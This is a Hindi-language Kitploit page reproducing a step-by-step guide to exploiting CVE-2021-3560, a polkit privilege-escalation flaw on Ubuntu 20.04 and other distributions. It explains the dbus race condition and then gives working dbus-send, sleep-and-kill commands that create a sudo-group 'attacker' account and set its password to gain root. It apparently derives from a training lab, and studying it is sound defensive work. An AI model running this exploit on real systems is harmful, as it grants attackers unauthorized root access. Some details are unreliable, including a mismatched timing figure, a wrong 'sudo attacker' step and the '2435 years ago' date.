Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Polkit-CVE-2021-3560 — CVE-2021-3560 का शोषण करने के लिए चरण-दर-चरण मार्गदर्शिका, एक polkit विशेषाधिकार वृद्धि भेद्यता, जिसमें पृष्ठभूमि, भेद्यता विश्लेषण और मैन्युअल शोषण कमांड शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/assassinukg/polkit-cve-2021-3560
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubassassinukg/polkit-cve-2021-3560

Polkit-CVE-2021-3560

CVE-2021-3560 का शोषण करने के लिए चरण-दर-चरण मार्गदर्शिका, एक polkit विशेषाधिकार वृद्धि भेद्यता, जिसमें पृष्ठभूमि, भेद्यता विश्लेषण और मैन्युअल शोषण कमांड शामिल हैं।

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
2435 साल पहलेKitploit द्वारा समीक्षित

Polkit-CVE-2021-3560

पृष्ठभूमि

2021 की शुरुआत में, केविन बैकहाउस नामक एक शोधकर्ता ने लिनक्स पॉलिकिट उपयोगिता में सात साल पुरानी विशेषाधिकार वृद्धि भेद्यता (जिसे CVE-2021-3560 नामित किया गया) की खोज की। सौभाग्य से, लिनक्स के विभिन्न वितरण (और यहां तक कि एक ही वितरण के विभिन्न संस्करण) सॉफ्टवेयर के विभिन्न संस्करणों का उपयोग करते हैं, जिसका अर्थ है कि केवल कुछ ही असुरक्षित हैं।

विशेष रूप से, निम्नलिखित मुख्यधारा के वितरण, अन्य के अलावा, असुरक्षित थे:

Red Hat Enterprise Linux 8 Fedora 21 (या बाद का) Debian Testing ("Bullseye") Ubuntu 20.04 LTS ("Focal Fossa") अब तक सभी ने अपने संबंधित पॉलिकिट पैकेजों के पैच्ड संस्करण जारी कर दिए होंगे, हालांकि, यदि आप इन वितरणों में से किसी एक का सामना करते हैं तो यह अभी भी असुरक्षित हो सकता है यदि इसे कुछ समय से अपडेट नहीं किया गया है।

इस कमरे के लिए हम विशेष रूप से Ubuntu 20.04 पर ध्यान केंद्रित करेंगे। कैनोनिकल ने पॉलिकिट के अपने संस्करण (policykit-1) के लिए एक पैच जारी किया, जिसका संस्करण संख्या 0.105-26ubuntu1.1 है। Focal Fossa के लिए apt रिपॉजिटरी में उपलब्ध अंतिम असुरक्षित संस्करण 0.105-26ubuntu1 है, इसलिए, यदि आप यह देखते हैं, तो आप भाग्यशाली हो सकते हैं!

हम इंस्टॉल किए गए पॉलिकिट संस्करण की जांच करने के लिए apt list --installed | grep policykit-1 का उपयोग कर सकते हैं:

Polkit क्या है?

अभी पूछा जाने वाला तार्किक प्रश्न है: "Polkit क्या है?"

Polkit लिनक्स प्राधिकरण प्रणाली का हिस्सा है। प्रभाव में, जब आप कोई ऐसी कार्रवाई करने का प्रयास करते हैं जिसके लिए उच्च स्तर के विशेषाधिकारों की आवश्यकता होती है, तो पॉलिसी टूलकिट का उपयोग यह निर्धारित करने के लिए किया जा सकता है कि क्या आपके पास आवश्यक अनुमतियाँ हैं। यह systemd के साथ एकीकृत है और पारंपरिक sudo प्रणाली की तुलना में अधिक कॉन्फ़िगरेबल है। वास्तव में, इसे कभी-कभी "systemd का sudo" भी कहा जाता है।

भेद्यता

  • हमलावर मैन्युअल रूप से accounts-daemon को एक dbus संदेश भेजता है जिसमें sudo अनुमतियों के साथ एक नया खाता बनाने का अनुरोध किया जाता है (या बाद में, नए उपयोगकर्ता के लिए एक पासवर्ड सेट करने का)। इस संदेश को dbus-daemon द्वारा एक अद्वितीय आईडी दी जाती है।
  • हमलावर polkit द्वारा इसे प्राप्त करने के बाद, लेकिन polkit के पास संदेश को संसाधित करने का अवसर मिलने से पहले, संदेश को मार देता है। यह प्रभावी रूप से अद्वितीय संदेश आईडी को नष्ट कर देता है।
  • Polkit dbus-daemon से संदेश भेजने वाले उपयोगकर्ता की उपयोगकर्ता आईडी पूछता है, (अब हटाए गए) संदेश आईडी का संदर्भ देते हुए।
  • dbus-daemon संदेश आईडी नहीं ढूंढ पाता क्योंकि हमने इसे चरण दो में मार दिया था। यह त्रुटि को एक त्रुटि कोड के साथ प्रतिक्रिया करके संभालता है।
  • Polkit त्रुटि को गलत तरीके से संभालता है और उपयोगकर्ता आईडी के लिए 0 स्थानापन्न करता है - अर्थात मशीन का रूट खाता।
  • यह सोचकर कि रूट उपयोगकर्ता ने कार्रवाई का अनुरोध किया है, polkit अनुरोध को बिना किसी चुनौती के आगे बढ़ने देता है।

शोषण

  • पहला dbus संदेश
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1

यह कमांड मैन्युअल रूप से accounts डेमन को एक dbus संदेश भेजेगा, प्रतिक्रिया प्रिंट करेगा और attacker (string:attacker) नाम का एक नया उपयोगकर्ता बनाएगा जिसका विवरण "Pentester Account" (string:"Pentester Account") होगा और sudo समूह की सदस्यता सत्य पर सेट होगी ( theint32:1 फ्लैग द्वारा संदर्भित)।

  • दूसरा संदेश
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:'PASSWORD_HASH' string:'Ask the pentester'

यह फिर से accounts डेमन को एक dbus संदेश भेजता है, जिसमें एक उपयोगकर्ता के लिए पासवर्ड बदलने का अनुरोध किया जाता है जिसका आईडी हम निर्दिष्ट करते हैं (लाल रंग में दिखाया गया है), एक पासवर्ड हैश जिसे हमें मैन्युअल रूप से उत्पन्न करने की आवश्यकता है, और एक संकेत ("Ask the pentester")

चूंकि यह प्रभावी रूप से एक रेस कंडीशन है, हमें पहले यह निर्धारित करने की आवश्यकता है कि हमारी कमांड को चलने में कितना समय लगेगा। आइए इसे पहले dbus संदेश के साथ आज़माएं: time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1

उदा:

root@kitploit:~
real 0m0.11s
user 0m0.002s
sys  0m0000s

इसमें 0.011 सेकंड या 11 मिलीसेकंड लगते हैं। यह संख्या हर बार जब आप कमांड चलाते हैं तो थोड़ी भिन्न होगी; हालांकि, प्रदान की गई मशीन पर यह हमेशा लगभग इसी संख्या के आसपास होनी चाहिए।

हमें कमांड को लगभग आधे निष्पादन में मारने की आवश्यकता है। प्रदान की गई मशीन पर पांच मिलीसेकंड आमतौर पर काफी अच्छा काम करता है; हालांकि, ध्यान रखें कि यह कोई सटीक चीज नहीं है। आपको स्लीप टाइम बदलने की आवश्यकता हो सकती है, या इसके काम करने से पहले कमांड को कई बार चलाना पड़ सकता है। ऐसा कहा जा रहा है, एक बार जब आप एक ऐसा समय पा लेते हैं जो काम करता है, तो इसे लगातार काम करना चाहिए। यदि आपको एक कार्य समय प्राप्त करने में संघर्ष करना पड़ रहा है, तो कमांड को bash for लूप के अंदर रखना और समय की एक श्रृंखला के माध्यम से जल्दी से चलाना आमतौर पर काफी अच्छा काम करता है।

आइए इसे आज़माएं। हमें dbus संदेश भेजना होगा, फिर इसे लगभग आधे में मारना होगा:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!

उपरोक्त कमांड को समझाने के लिए, हमने dbus संदेश को एक पृष्ठभूमि जॉब में भेजा (कमांड को बैकग्राउंड करने के लिए एम्परसेंड का उपयोग करके)। फिर हमने इसे 5 मिलीसेकंड के लिए सोने (sleep 0.005s) के लिए कहा, फिर पिछली प्रक्रिया ($!) को मार दिया। इसने सफलतापूर्वक नया उपयोगकर्ता बनाया, उसे sudo समूह में जोड़ा। हमें इस बिंदु पर ध्यान देना चाहिए कि इस उदाहरण में नए उपयोगकर्ता की उपयोगकर्ता आईडी 1000 है।

root@kitploit:~
id attacker

अब हमें बस उपयोगकर्ता को एक पासवर्ड देना है और हम जाने के लिए तैयार हो जाएंगे!

हमें यहां एक पासवर्ड हैश चाहिए, तो आइए अपने चुने हुए पासवर्ड (Expl01ted) के लिए एक Sha512Crypt हैश उत्पन्न करें: openssl passwd -6 Expl01ted

openssl का उपयोग करके, हम टाइप 6 (SHA512-crypt) का एक पासवर्ड और अपना सादा पाठ पासवर्ड (Expl01ted) उत्पन्न करते हैं।

अब इसे खत्म करते हैं! 5 मिलीसेकंड ने पिछली बार काम किया था, इसलिए इसे यहां भी काम करना चाहिए:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
root@kitploit:~
sudo attacker
sudo -l
sudo -s

संदर्भ

https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about

टूल डाउनलोड करें